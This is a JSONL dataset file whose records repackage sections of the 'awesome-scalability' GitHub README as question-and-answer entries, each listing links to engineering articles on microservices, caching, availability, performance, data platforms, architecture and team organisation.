Times](https://open.nytimes.com/agrarian-scale-kubernetes-part-3-ee459887ed7e)\n\t* [Nanoservices at BBC](https://medium.com/bbc-design-engineering/powering-bbc-online-with-nanoservices-727840ba015b)\n\t* [PowerfulSeal: Testing Tool for Kubernetes Clusters at Bloomberg](https://www.techatbloomberg.com/blog/powerfulseal-testing-tool-kubernetes-clusters/)\n\t* [Conductor: Microservices Orchestrator at Netflix](https://medium.com/netflix-techblog/netflix-conductor-a-microservices-orchestrator-2e8d4771bf40)\n\t* [Docker Containers that Power Over 100.000 Online Shops at Shopify](https://shopifyengineering.myshopify.com/blogs/engineering/docker-at-shopify-how-we-built-containers-that-power-over-100-000-online-shops)\n\t* [Microservice Architecture at Medium](https://medium.engineering/microservice-architecture-at-medium-9c33805eb74f)\n\t* [From bare-metal to Kubernetes at Betabrand](https://boxunix.com/post/bare_metal_to_kube/)\n\t* [Kubernetes at Tinder](https://medium.com/tinder-engineering/tinders-move-to-kubernetes-cda2a6372f44)\n\t* [Kubernetes at Quora](https://www.quora.com/q/quoraengineering/Adopting-Kubernetes-at-Quora)\t\n\t* [Kubernetes Platform at Pinterest](https://medium.com/pinterest-engineering/building-a-kubernetes-platform-at-pinterest-fb3d9571c948)\n\t* [Microservices at Nubank](https://medium.com/building-nubank/microservices-at-nubank-an-overview-2ebcb336c64d)\n\t* [Payment Transaction Management in Microservices at Mercari](https://engineering.mercari.com/en/blog/entry/20210831-2019-06-07-155849/)\n\t* [Service Mesh at Snap](https://eng.snap.com/monolith-to-multicloud-microservices-snap-service-mesh)\n\t* [GRIT: Protocol for Distributed Transactions across Microservices at eBay](https://tech.ebayinc.com/engineering/grit-a-protocol-for-distributed-transactions-across-microservices/)\n\t* [Rubix: Kubernetes at Palantir](https://medium.com/palantir/introducing-rubix-kubernetes-at-palantir-ab0ce16ea42e)\n\t* [CRISP: Critical Path Analysis for Microservice Architectures at Uber](https://eng.uber.com/crisp-critical-path-analysis-for-microservice-architectures/)\n* [Distributed Caching](https://www.wix.engineering/post/scaling-to-100m-to-cache-or-not-to-cache)\n\t* [EVCache: Distributed In-memory Caching at Netflix](https://medium.com/netflix-techblog/caching-for-a-global-netflix-7bcc457012f1)\n\t* [EVCache Cache Warmer Infrastructure at Netflix](https://medium.com/netflix-techblog/cache-warming-agility-for-a-stateful-service-2d3b1da82642)\n\t* [Memsniff: Robust Memcache Traffic Analyzer at Box](https://blog.box.com/blog/introducing-memsniff-robust-memcache-traffic-analyzer/)\n\t* [Caching with Consistent Hashing and Cache Smearing at Etsy](https://codeascraft.com/2017/11/30/how-etsy-caches/)\n\t* [Analysis of Photo Caching at Facebook](https://code.facebook.com/posts/220956754772273/an-analysis-of-facebook-photo-caching/)\n\t* [Cache Efficiency Exercise at Facebook](https://code.facebook.com/posts/964122680272229/web-performance-cache-efficiency-exercise/)\n\t* [tCache: Scalable Data-aware Java Caching at Trivago](http://tech.trivago.com/2015/10/15/tcache/)\n\t* [Pycache: In-process Caching at Quora](https://quoraengineering.quora.com/Pycache-lightning-fast-in-process-caching)\n\t* [Reduce Memcached Memory Usage by 50% at Trivago](http://tech.trivago.com/2017/12/19/how-trivago-reduced-memcached-memory-usage-by-50/)\n\t* [Caching Internal Service Calls at Yelp](https://engineeringblog.yelp.com/2018/03/caching-internal-service-calls-at-yelp.html)\n\t* [Estimating the Cache Efficiency using Big Data at Allegro](https://allegro.tech/2017/01/estimating-the-cache-efficiency-usin", "tags": ["binhnguyennus"], "source": "github_gists", "category": "binhnguyennus", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 67875, "answer_score": 10, "has_code": true, "url": "https://github.com/binhnguyennus/awesome-scalability", "collected_at": "2026-01-17T08:14:46.013336"}
{"id": "gh_a5671dd79476", "question": "How to: Availability", "question_body": "About binhnguyennus/awesome-scalability", "answer": "* [Resilience Engineering: Learning to Embrace Failure](https://queue.acm.org/detail.cfm?id=2371297)\t\n\t* [Resilience Engineering with Project Waterbear at LinkedIn](https://engineering.linkedin.com/blog/2017/11/resilience-engineering-at-linkedin-with-project-waterbear)\n\t* [Resiliency against Traffic Oversaturation at iHeartRadio](https://tech.iheart.com/resiliency-against-traffic-oversaturation-77c5ed92a5fb)\n\t* [Resiliency in Distributed Systems at GO-JEK](https://blog.gojekengineering.com/resiliency-in-distributed-systems-efd30f74baf4)\n\t* [Practical NoSQL Resilience Design Pattern for the Enterprise at eBay](https://www.ebayinc.com/stories/blogs/tech/practical-nosql-resilience-design-pattern-for-the-enterprise/)\n\t* [Ensuring Resilience to Disaster at Quora](https://quoraengineering.quora.com/Ensuring-Quoras-Resilience-to-Disaster)\n\t* [Site Resiliency at Expedia](https://www.infoq.com/presentations/expedia-website-resiliency?utm_source=presentations_about_Case_Study&utm_medium=link&utm_campaign=Case_Study)\n\t* [Resiliency and Disaster Recovery with Kafka at eBay](https://tech.ebayinc.com/engineering/resiliency-and-disaster-recovery-with-kafka/)\n\t* [Disaster Recovery for Multi-Region Kafka at Uber](https://eng.uber.com/kafka/)\n* [Failover](http://cloudpatterns.org/mechanisms/failover_system)\n\t* [The Evolution of Global Traffic Routing and Failover](https://www.usenix.org/conference/srecon16/program/presentation/heady)\n\t* [Testing for Disaster Recovery Failover Testing](https://www.usenix.org/conference/srecon17asia/program/presentation/liu_zehua)\n\t* [Designing a Microservices Architecture for Failure](https://blog.risingstack.com/designing-microservices-architecture-for-failure/)\n\t* [ELB for Automatic Failover at GoSquared](https://engineering.gosquared.com/use-elb-automatic-failover)\n\t* [Eliminate the Database for Higher Availability at American Express](http://americanexpress.io/eliminate-the-database-for-higher-availability/)\n\t* [Failover with Redis Sentinel at Vinted](http://engineering.vinted.com/2015/09/03/failover-with-redis-sentinel/)\n\t* [High-availability SaaS Infrastructure at FreeAgent](http://engineering.freeagent.com/2017/02/06/ha-infrastructure-without-breaking-the-bank/)\n\t* [MySQL High Availability at GitHub](https://github.blog/2018-06-20-mysql-high-availability-at-github/)\n\t* [MySQL High Availability at Eventbrite](https://www.eventbrite.com/engineering/mysql-high-availability-at-eventbrite/)\n\t* [Business Continuity & Disaster Recovery at Walmart](https://medium.com/walmartlabs/business-continuity-disaster-recovery-in-the-microservices-world-ef2adca363df)\n* [Load Balancing](https://blog.vivekpanyam.com/scaling-a-web-service-load-balancing/)\n\t* [Introduction to Modern Network Load Balancing and Proxying](https://blog.envoyproxy.io/introduction-to-modern-network-load-balancing-and-proxying-a57f6ff80236)\n\t* [Top Five (Load Balancing) Scalability Patterns](https://www.f5.com/company/blog/top-five-scalability-patterns)\n\t* [Load Balancing infrastructure to support more than 1.3 billion users at Facebook](https://www.usenix.org/conference/srecon15europe/program/presentation/shuff)\n\t* [DHCPLB: DHCP Load Balancer at Facebook](https://code.facebook.com/posts/1734309626831603/dhcplb-an-open-source-load-balancer/)\n\t* [Katran: Scalable Network Load Balancer at Facebook](https://code.facebook.com/posts/1906146702752923/open-sourcing-katran-a-scalable-network-load-balancer/)\n\t* [Deterministic Aperture: A Distributed, Load Balancing Algorithm at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/daperture-load-balancer.html)\t\n\t* [Load Balancing with Eureka at Netflix](https://medium.com/netflix-techblog/netflix-shares-cloud-load-balancing-and-failover-tool-eureka-c10647ef95e5)\n\t* [Edge Load Balancing at Netflix](https://medium.com/netflix-techblog/netflix-edge-load-balancing-695308b5548c)\n\t* [Zuul 2: Cloud Gateway at Netflix](https://medium.com/netflix-techblog/open-sourcing-zuul-2-82ea476cb2b3)\n\t* [Load Balancing at Yelp](https://engineeringblog.yelp.com/2017/05/taking-zero-downtime-load-balancing-even-further.html)\n\t* [Load Balancing at Github](https://githubengineering.com/introducing-glb/)\n\t* [Consistent Hashing to Improve Load Balancing at Vimeo](https://medium.com/vimeo-engineering-blog/improving-load-balancing-with-a-new-consistent-hashing-algorithm-9f1bd75709ed)\n\t* [UDP Load Balancing at 500 pixel](https://developers.500px.com/udp-load-balancing-with-keepalived-167382d7ad08)\n\t* [QALM: QoS Load Management Framework at Uber](https://eng.uber.com/qalm/)\t\n\t* [Traffic Steering using Rum DNS at LinkedIn](https://www.usenix.org/conference/srecon17europe/program/presentation/rastogi)\n\t* [Traffic Infrastructure (Edge Network) at Dropbox](https://dropbox.tech/infrastructure/dropbox-traffic-infrastructure-edge-network)\n\t* [Intelligent DNS based load balancing at Dropbox](https://dropbox.tech/infrastructure/intelligent-dns-based-load-balancing-at-dropbox)\n\t* [Monitor DNS systems at St", "tags": ["binhnguyennus"], "source": "github_gists", "category": "binhnguyennus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 67875, "answer_score": 10, "has_code": false, "url": "https://github.com/binhnguyennus/awesome-scalability", "collected_at": "2026-01-17T08:14:46.013374"}
{"id": "gh_3985fe5994b5", "question": "How to: Performance", "question_body": "About binhnguyennus/awesome-scalability", "answer": "* [Performance Optimization on OS, Storage, Database, Network](https://stackify.com/application-performance-metrics/)\n\t* [Improving Performance with Background Data Prefetching at Instagram](https://engineering.instagram.com/improving-performance-with-background-data-prefetching-b191acb39898)\n\t* [Fixing Linux filesystem performance regressions at LinkedIn](https://engineering.linkedin.com/blog/2020/fixing-linux-filesystem-performance-regressions)\n\t* [Compression Techniques to Solve Network I/O Bottlenecks at eBay](https://www.ebayinc.com/stories/blogs/tech/how-ebays-shopping-cart-used-compression-techniques-to-solve-network-io-bottlenecks/)\n\t* [Optimizing Web Servers for High Throughput and Low Latency at Dropbox](https://dropbox.tech/infrastructure/optimizing-web-servers-for-high-throughput-and-low-latency)\n\t* [Linux Performance Analysis in 60.000 Milliseconds at Netflix](https://medium.com/netflix-techblog/linux-performance-analysis-in-60-000-milliseconds-accc10403c55)\n\t* [Live Downsizing Google Cloud Persistent Disks (PD-SSD) at Mixpanel](https://engineering.mixpanel.com/2018/07/31/live-downsizing-google-cloud-pds-for-fun-and-profit/)\n\t* [Decreasing RAM Usage by 40% Using jemalloc with Python & Celery at Zapier](https://zapier.com/engineering/celery-python-jemalloc/)\n\t* [Reducing Memory Footprint at Slack](https://slack.engineering/reducing-slacks-memory-footprint-4480fec7e8eb)\n\t* [Continuous Load Testing at Slack](https://slack.engineering/continuous-load-testing/)\n\t* [Performance Improvements at Pinterest](https://medium.com/@Pinterest_Engineering/driving-user-growth-with-performance-improvements-cfc50dafadd7)\n\t* [Server Side Rendering at Wix](https://www.youtube.com/watch?v=f9xI2jR71Ms)\n\t* [30x Performance Improvements on MySQLStreamer at Yelp](https://engineeringblog.yelp.com/2018/02/making-30x-performance-improvements-on-yelps-mysqlstreamer.html)\n\t* [Optimizing APIs at Netflix](https://medium.com/netflix-techblog/optimizing-the-netflix-api-5c9ac715cf19)\n\t* [Performance Monitoring with Riemann and Clojure at Walmart](https://medium.com/walmartlabs/performance-monitoring-with-riemann-and-clojure-eafc07fcd375)\n\t* [Performance Tracking Dashboard for Live Games at Zynga](https://www.zynga.com/blogs/engineering/live-games-have-evolving-performance)\n\t* [Optimizing CAL Report Hadoop MapReduce Jobs at eBay](https://www.ebayinc.com/stories/blogs/tech/optimization-of-cal-report-hadoop-mapreduce-job/)\n\t* [Performance Tuning on Quartz Scheduler at eBay](https://www.ebayinc.com/stories/blogs/tech/performance-tuning-on-quartz-scheduler/)\n\t* [Profiling C++ (Part 1: Optimization, Part 2: Measurement and Analysis) at Riot Games](https://engineering.riotgames.com/news/profiling-optimisation)\n\t* [Profiling React Server-Side Rendering at HomeAway](https://medium.com/homeaway-tech-blog/profiling-react-server-side-rendering-to-free-the-node-js-event-loop-7f0fe455a901)\n\t* [Hardware-Assisted Video Transcoding at Dailymotion](https://medium.com/dailymotion-engineering/hardware-assisted-video-transcoding-at-dailymotion-66cd2db448ae)\n\t* [Cross Shard Transactions at 10 Million RPS at Dropbox](https://dropbox.tech/infrastructure/cross-shard-transactions-at-10-million-requests-per-second)\n\t* [API Profiling at Pinterest](https://medium.com/@Pinterest_Engineering/api-profiling-at-pinterest-6fa9333b4961)\n\t* [Pagelets Parallelize Server-side Processing at Yelp](https://engineeringblog.yelp.com/2017/07/generating-web-pages-in-parallel-with-pagelets.html)\n\t* [Improving key expiration in Redis at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2019/improving-key-expiration-in-redis.html)\n\t* [Ad Delivery Network Performance Optimization with Flame Graphs at MindGeek](https://medium.com/mindgeek-engineering-blog/ad-delivery-network-performance-optimization-with-flame-graphs-bc550cf59cf7)\n\t* [Predictive CPU isolation of containers at Netflix](https://medium.com/netflix-techblog/predictive-cpu-isolation-of-containers-at-netflix-91f014d856c7)\n\t* [Improving HDFS I/O Utilization for Efficiency at Uber](https://eng.uber.com/improving-hdfs-i-o-utilization-for-efficiency/)\n\t* [Cloud Jewels: Estimating kWh in the Cloud at Etsy](https://codeascraft.com/2020/04/23/cloud-jewels-estimating-kwh-in-the-cloud/)\n\t* [Unthrottled: Fixing CPU Limits in the Cloud (2 parts) at Indeed](https://engineering.indeedblog.com/blog/2019/12/unthrottled-fixing-cpu-limits-in-the-cloud/)\n* [Performance Optimization by Tuning Garbage Collection](https://confluence.atlassian.com/enterprise/garbage-collection-gc-tuning-guide-461504616.html)\n\t* [Garbage Collection in Java Applications at LinkedIn](https://engineering.linkedin.com/garbage-collection/garbage-collection-optimization-high-throughput-and-low-latency-java-applications)\n\t* [Garbage Collection in High-Throughput, Low-Latency Machine Learning Services at Adobe](https://medium.com/adobetech/engineering-high-throughput-low-latency-machine-learning-services-7d45edac0271)\n\t* [Garbage Collection i", "tags": ["binhnguyennus"], "source": "github_gists", "category": "binhnguyennus", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 67875, "answer_score": 10, "has_code": true, "url": "https://github.com/binhnguyennus/awesome-scalability", "collected_at": "2026-01-17T08:14:46.013398"}
{"id": "gh_bb6deed5093d", "question": "How to: Intelligence", "question_body": "About binhnguyennus/awesome-scalability", "answer": "* [Big Data](https://insights.sei.cmu.edu/sei_blog/2017/05/reference-architectures-for-big-data-systems.html)\t\n\t* [Data Platform at Uber](https://eng.uber.com/uber-big-data-platform/)\n\t* [Data Platform at BMW](https://www.unibw.de/code/events-u/jt-2018-workshops/ws3_bigdata_vortrag_widmann.pdf)\n\t* [Data Platform at Netflix](https://www.youtube.com/watch?v=CSDIThSwA7s)\n\t* [Data Platform at Flipkart](https://blog.flipkart.tech/overview-of-flipkart-data-platform-20c6d3e9a196)\n\t* [Data Platform at Coupang](https://medium.com/coupang-tech/evolving-the-coupang-data-platform-308e305a9c45)\n\t* [Data Platform at DoorDash](https://doordash.engineering/2020/09/25/how-doordash-is-scaling-its-data-platform/)\n\t* [Data Platform at Khan Academy](http://engineering.khanacademy.org/posts/khanalytics.htm)\n\t* [Data Infrastructure at Airbnb](https://medium.com/airbnb-engineering/data-infrastructure-at-airbnb-8adfb34f169c)\n\t* [Data Infrastructure at LinkedIn](https://www.infoq.com/presentations/big-data-infrastructure-linkedin)\n\t* [Data Infrastructure at GO-JEK](https://blog.gojekengineering.com/data-infrastructure-at-go-jek-cd4dc8cbd929)\n\t* [Data Ingestion Infrastructure at Pinterest](https://medium.com/@Pinterest_Engineering/scalable-and-reliable-data-ingestion-at-pinterest-b921c2ee8754)\n\t* [Data Analytics Architecture at Pinterest](https://medium.com/@Pinterest_Engineering/behind-the-pins-building-analytics-f7b508cdacab)\n\t* [Data Orchestration Service at Spotify](https://engineering.atspotify.com/2022/03/why-we-switched-our-data-orchestration-service/)\n\t* [Big Data Processing (2 parts) at Spotify](https://labs.spotify.com/2017/10/23/big-data-processing-at-spotify-the-road-to-scio-part-2/)\n\t* [Big Data Processing at Uber](https://cdn.oreillystatic.com/en/assets/1/event/160/Big%20data%20processing%20with%20Hadoop%20and%20Spark%2C%20the%20Uber%20way%20Presentation.pdf)\n\t* [Analytics Pipeline at Lyft](https://cdn.oreillystatic.com/en/assets/1/event/269/Lyft_s%20analytics%20pipeline_%20From%20Redshift%20to%20Apache%20Hive%20and%20Presto%20Presentation.pdf)\n\t* [Analytics Pipeline at Grammarly](https://tech.grammarly.com/blog/building-a-versatile-analytics-pipeline-on-top-of-apache-spark)\n\t* [Analytics Pipeline at Teads](https://medium.com/teads-engineering/give-meaning-to-100-billion-analytics-events-a-day-d6ba09aa8f44)\n\t* [ML Data Pipelines for Real-Time Fraud Prevention at PayPal](https://www.infoq.com/presentations/paypal-ml-fraud-prevention-2018)\n\t* [Big Data Analytics and ML Techniques at LinkedIn](https://cdn.oreillystatic.com/en/assets/1/event/269/Big%20data%20analytics%20and%20machine%20learning%20techniques%20to%20drive%20and%20grow%20business%20Presentation%201.pdf)\n\t* [Self-Serve Reporting Platform on Hadoop at LinkedIn](https://cdn.oreillystatic.com/en/assets/1/event/137/Building%20a%20self-serve%20real-time%20reporting%20platform%20at%20LinkedIn%20Presentation%201.pdf)\n\t* [Privacy-Preserving Analytics and Reporting at LinkedIn](https://engineering.linkedin.com/blog/2019/04/privacy-preserving-analytics-and-reporting-at-linkedin)\n\t* [Analytics Platform for Tracking Item Availability at Walmart](https://medium.com/walmartlabs/how-we-build-a-robust-analytics-platform-using-spark-kafka-and-cassandra-lambda-architecture-70c2d1bc8981)\n\t* [Real-Time Analytics for Mobile App Crashes using Apache Pinot at Uber](https://www.uber.com/en-SG/blog/real-time-analytics-for-mobile-app-crashes/)\n\t* [HALO: Hardware Analytics and Lifecycle Optimization at Facebook](https://code.fb.com/data-center-engineering/hardware-analytics-and-lifecycle-optimization-halo-at-facebook/)\n\t* [RBEA: Real-time Analytics Platform at King](https://techblog.king.com/rbea-scalable-real-time-analytics-king/)\n\t* [AresDB: GPU-Powered Real-time Analytics Engine at Uber](https://eng.uber.com/aresdb/)\n\t* [AthenaX: Streaming Analytics Platform at Uber](https://eng.uber.com/athenax/)\n\t* [Jupiter: Config Driven Adtech Batch Ingestion Platform at Uber](https://www.uber.com/en-SG/blog/jupiter-batch-ingestion-platform/)\n\t* [Delta: Data Synchronization and Enrichment Platform at Netflix](https://medium.com/netflix-techblog/delta-a-data-synchronization-and-enrichment-platform-e82c36a79aee)\n\t* [Keystone: Real-time Stream Processing Platform at Netflix](https://medium.com/netflix-techblog/keystone-real-time-stream-processing-platform-a3ee651812a)\n\t* [Databook: Turning Big Data into Knowledge with Metadata at Uber](https://eng.uber.com/databook/)\n\t* [Amundsen: Data Discovery & Metadata Engine at Lyft](https://eng.lyft.com/amundsen-lyfts-data-discovery-metadata-engine-62d27254fbb9)\n\t* [Maze: Funnel Visualization Platform at Uber](https://eng.uber.com/maze/)\n\t* [Metacat: Making Big Data Discoverable and Meaningful at Netflix](https://medium.com/netflix-techblog/metacat-making-big-data-discoverable-and-meaningful-at-netflix-56fb36a53520)\n\t* [SpinalTap: Change Data Capture System at Airbnb](https://medium.com/airbnb-engineering/capturing-data-evolution-in-a-service-oriented-architect", "tags": ["binhnguyennus"], "source": "github_gists", "category": "binhnguyennus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 67875, "answer_score": 10, "has_code": false, "url": "https://github.com/binhnguyennus/awesome-scalability", "collected_at": "2026-01-17T08:14:46.013439"}
{"id": "gh_251fdf78f086", "question": "How to: Architecture", "question_body": "About binhnguyennus/awesome-scalability", "answer": "* [Tech Stack at Medium](https://medium.engineering/the-stack-that-helped-medium-drive-2-6-millennia-of-reading-time-e56801f7c492)\n* [Tech Stack at Shopify](https://engineering.shopify.com/blogs/engineering/e-commerce-at-scale-inside-shopifys-tech-stack)\n* [Building Services (4 parts) at Airbnb](https://medium.com/airbnb-engineering/building-services-at-airbnb-part-4-23c95e428064)\n* [Architecture of Evernote](https://evernote.com/blog/a-digest-of-evernotes-architecture/)\n* [Architecture of Chat Service (3 parts) at Riot Games](https://engineering.riotgames.com/news/chat-service-architecture-persistence)\n* [Architecture of League of Legends Client Update](https://technology.riotgames.com/news/architecture-league-client-update)\n* [Architecture of Ad Platform at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2020/building-twitters-ad-platform-architecture-for-the-future.html)\n* [Architecture of API Gateway at Uber](https://eng.uber.com/architecture-api-gateway/)\n* [Architecture of API Gateway at Tinder](https://medium.com/tinder/how-we-built-the-tinder-api-gateway-831c6ca5ceca)\n* [Basic Architecture of Slack](https://slack.engineering/how-slack-built-shared-channels-8d42c895b19f)\n* [Lightweight Distributed Architecture to Handle Thousands of Library Releases at eBay](https://tech.ebayinc.com/engineering/a-lightweight-distributed-architecture-to-handle-thousands-of-library-releases-at-ebay/)\n* [Back-end at LinkedIn](https://engineering.linkedin.com/architecture/brief-history-scaling-linkedin)\n* [Back-end at Flickr](https://yahooeng.tumblr.com/post/157200523046/introducing-tripod-flickrs-backend-refactored)\n* [Infrastructure (3 parts) at Zendesk](https://medium.com/zendesk-engineering/the-history-of-infrastructure-at-zendesk-part-3-foundation-team-forming-and-evolving-9859e40f5390)\n* [Cloud Infrastructure at Grubhub](https://bytes.grubhub.com/cloud-infrastructure-at-grubhub-94db998a898a)\n* [Real-time Presence Platform at LinkedIn](https://engineering.linkedin.com/blog/2018/01/now-you-see-me--now-you-dont--linkedins-real-time-presence-platf)\n* [Settings Platform at LinkedIn](https://engineering.linkedin.com/blog/2019/05/building-member-trust-through-a-centralized-and-scalable-setting)\n* [Nearline System for Scale and Performance (2 parts) at Glassdoor](https://medium.com/glassdoor-engineering/building-a-nearline-system-for-scale-and-performance-part-ii-9e01bf51b23d)\n* [Real-time User Action Counting System for Ads at Pinterest](https://medium.com/@Pinterest_Engineering/building-a-real-time-user-action-counting-system-for-ads-88a60d9c9a)\n* [API Platform at Riot Games](https://engineering.riotgames.com/news/riot-games-api-deep-dive)\n* [Games Platform at The New York Times](https://open.nytimes.com/play-by-play-moving-the-nyt-games-platform-to-gcp-with-zero-downtime-cf425898d569)\n* [Kabootar: Communication Platform at Swiggy](https://bytes.swiggy.com/kabootar-swiggys-communication-platform-e5a43cc25629)\n* [Simone: Distributed Simulation Service at Netflix](https://medium.com/netflix-techblog/https-medium-com-netflix-techblog-simone-a-distributed-simulation-service-b2c85131ca1b)\n* [Seagull: Distributed System that Helps Running > 20 Million Tests Per Day at Yelp](https://engineeringblog.yelp.com/2017/04/how-yelp-runs-millions-of-tests-every-day.html)\n* [PriceAggregator: Intelligent System for Hotel Price Fetching (3 parts) at Agoda](https://medium.com/agoda-engineering/priceaggregator-an-intelligent-system-for-hotel-price-fetching-part-3-52acfc705081)\n* [Phoenix: Testing Platform (3 parts) at Tinder](https://medium.com/tinder-engineering/phoenix-tinders-testing-platform-part-iii-520728b9537)\n* [Hexagonal Architecture at Netflix](https://netflixtechblog.com/ready-for-changes-with-hexagonal-architecture-b315ec967749)\n* [Architecture of Sticker Services at LINE](https://www.slideshare.net/linecorp/architecture-sustaining-line-sticker-services)\n* [Stack Overflow Enterprise at Palantir](https://medium.com/@palantir/terraforming-stack-overflow-enterprise-in-aws-47ee431e6be7)\n* [Architecture of Following Feed, Interest Feed, and Picked For You at Pinterest](https://medium.com/@Pinterest_Engineering/building-a-dynamic-and-responsive-pinterest-7d410e99f0a9)\n* [API Specification Workflow at WeWork](https://engineering.wework.com/our-api-specification-workflow-9337448d6ee6)\n* [Media Database at Netflix](https://medium.com/netflix-techblog/implementing-the-netflix-media-database-53b5a840b42a)\n* [Member Transaction History Architecture at Walmart](https://medium.com/walmartlabs/member-transaction-history-architecture-8b6e34b87c21)\n* [Sync Engine (2 parts) at Dropbox](https://dropbox.tech/infrastructure/-testing-our-new-sync-engine)\n* [Ads Pacing Service at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2021/how-we-built-twitter-s-highly-reliable-ads-pacing-service)\n* [Rapid Event Notification System at Netflix](https://netflixtechblog.com/rapid-event-notification-system-at-net", "tags": ["binhnguyennus"], "source": "github_gists", "category": "binhnguyennus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 67875, "answer_score": 10, "has_code": false, "url": "https://github.com/binhnguyennus/awesome-scalability", "collected_at": "2026-01-17T08:14:46.013455"}
{"id": "gh_2b842811e0af", "question": "How to: Organization", "question_body": "About binhnguyennus/awesome-scalability", "answer": "* [Engineering Levels at SoundCloud](https://developers.soundcloud.com/blog/engineering-levels)\n* [Engineering Roles at Palantir](https://medium.com/palantir/dev-versus-delta-demystifying-engineering-roles-at-palantir-ad44c2a6e87)\n* [Engineering Career Framework at Dropbox](https://dropbox.tech/culture/our-updated-engineering-career-framework)\n* [Scaling Engineering Teams at Twitter](https://www.youtube.com/watch?v=-PXi_7Ld5kU)\n* [Scaling Decision-Making Across Teams at LinkedIn](https://engineering.linkedin.com/blog/2018/03/scaling-decision-making-across-teams-within-linkedin-engineering)\n* [Scaling Data Science Team at GOJEK](https://blog.gojekengineering.com/the-dynamics-of-scaling-an-organisation-cb96dbe8aecd)\n* [Scaling Agile at Zalando](https://engineering.zalando.com/posts/2018/05/scaling-agile-zalando.html)\n* [Scaling Agile at bol.com](https://hackernoon.com/how-we-run-bol-com-with-60-autonomous-teams-fe7a98c0759)\n* [Lessons Learned from Scaling a Product Team at Intercom](https://blog.intercom.com/how-we-build-software/)\n* [Hiring, Managing, and Scaling Engineering Teams at Typeform](https://medium.com/@eleonorazucconi/toby-oliver-cto-typeform-on-hiring-managing-and-scaling-engineering-teams-86bef9e5a708)\t\n* [Scaling the Datagram Team at Instagram](https://instagram-engineering.com/scaling-the-datagram-team-fc67bcf9b721)\n* [Scaling the Design Team at Flexport](https://medium.com/flexport-design/designing-a-design-team-a9a066bc48a5)\n* [Team Model for Scaling a Design System at Salesforce](https://medium.com/salesforce-ux/the-salesforce-team-model-for-scaling-a-design-system-d89c2a2d404b)\n* [Building Analytics Team (4 parts) at Wish](https://medium.com/wish-engineering/scaling-the-analytics-team-at-wish-part-4-recruiting-2a9823b9f5a)\n* [From 2 Founders to 1000 Employees at Transferwise](https://medium.com/transferwise-ideas/from-2-founders-to-1000-employees-how-a-small-scale-startup-grew-into-a-global-community-9f26371a551b)\n* [Lessons Learned Growing a UX Team from 10 to 170 at Adobe](https://medium.com/thinking-design/lessons-learned-growing-a-ux-team-from-10-to-170-f7b47be02262)\n* [Five Lessons from Scaling at Pinterest](https://medium.com/@sarahtavel/five-lessons-from-scaling-pinterest-6a699a889b08)\n* [Approach Engineering at Vinted](http://engineering.vinted.com/2018/09/04/how-we-approach-engineering-at-vinted/)\n* [Using Metrics to Improve the Development Process (and Coach People) at Indeed](https://engineering.indeedblog.com/blog/2018/10/using-metrics-to-improve-the-development-process-and-coach-people/)\n* [Mistakes to Avoid while Creating an Internal Product at Skyscanner](https://medium.com/@SkyscannerEng/9-mistakes-to-avoid-while-creating-an-internal-product-63d579b00b1a)\n* [RACI (Responsible, Accountable, Consulted, Informed) at Etsy](https://codeascraft.com/2018/01/04/selecting-a-cloud-provider/)\n* [Four Pillars of Leading People (Empathy, Inspiration, Trust, Honesty) at Zalando](https://engineering.zalando.com/posts/2018/10/four-pillars-leadership.html)\n* [Pair Programming at Shopify](https://engineering.shopify.com/blogs/engineering/pair-programming-explained)\n* [Distributed Responsibility at Asana](https://blog.asana.com/2017/12/distributed-responsibility-engineering-manager/)\n* [Rotating Engineers at Zalando](https://engineering.zalando.com/posts/2019/03/rotating-engineers-at-zalando.html)\n* [Experiment Idea Review at Pinterest](https://medium.com/pinterest-engineering/how-pinterest-supercharged-its-growth-team-with-experiment-idea-review-fd6571a02fb8)\n* [Tech Migrations at Spotify](https://engineering.atspotify.com/2020/06/25/tech-migrations-the-spotify-way/)\n* [Improving Code Ownership at Yelp](https://engineeringblog.yelp.com/2021/01/whose-code-is-it-anyway.html)\n* [Agile Code Base at eBay](https://tech.ebayinc.com/engineering/how-creating-an-agile-code-base-helped-ebay-pivot-for-apple-silicon/)\n* [Agile Data Engineering at Miro](https://medium.com/miro-engineering/agile-data-engineering-at-miro-ec2dcc8a3fcb)\n* [Automated Incident Management through Slack at Airbnb](https://medium.com/airbnb-engineering/incident-management-ae863dc5d47f)\n* [Refactor Organization at BBC](https://medium.com/bbc-product-technology/refactor-organisation-80e4e171d922)\n* [Code Review](https://ai.google/research/pubs/pub47025)\n\t* [Code Review at Palantir](https://medium.com/@palantir/code-review-best-practices-19e02780015f)\n\t* [Code Review at LINE](https://engineering.linecorp.com/en/blog/effective-code-review/)\n\t* [Code Reviews at Medium](https://medium.engineering/code-reviews-at-medium-bed2c0dce13a)\n\t* [Code Review at LinkedIn](https://engineering.linkedin.com/blog/2018/06/scaling-collective-code-ownership-with-code-reviews)\n\t* [Code Review at Disney](https://medium.com/disney-streaming/the-secret-to-better-code-reviews-c14c7884b9ac)\n\t* [Code Review at Netlify](https://www.netlify.com/blog/2020/03/05/feedback-ladders-how-we-encode-code-reviews-at-netlify/)", "tags": ["binhnguyennus"], "source": "github_gists", "category": "binhnguyennus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 67875, "answer_score": 10, "has_code": false, "url": "https://github.com/binhnguyennus/awesome-scalability", "collected_at": "2026-01-17T08:14:46.013472"}
{"id": "gh_8dcb8af29cd4", "question": "How to: A Piece of Cake", "question_body": "About binhnguyennus/awesome-scalability", "answer": "Roses are red. Violets are blue. [Binh](https://nguyenquocbinh.org/) likes sweet. [Treat Binh a tiramisu?](https://paypal.me/binhnguyennus) :cake:", "tags": ["binhnguyennus"], "source": "github_gists", "category": "binhnguyennus", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 67875, "answer_score": 10, "has_code": false, "url": "https://github.com/binhnguyennus/awesome-scalability", "collected_at": "2026-01-17T08:14:46.013484"}
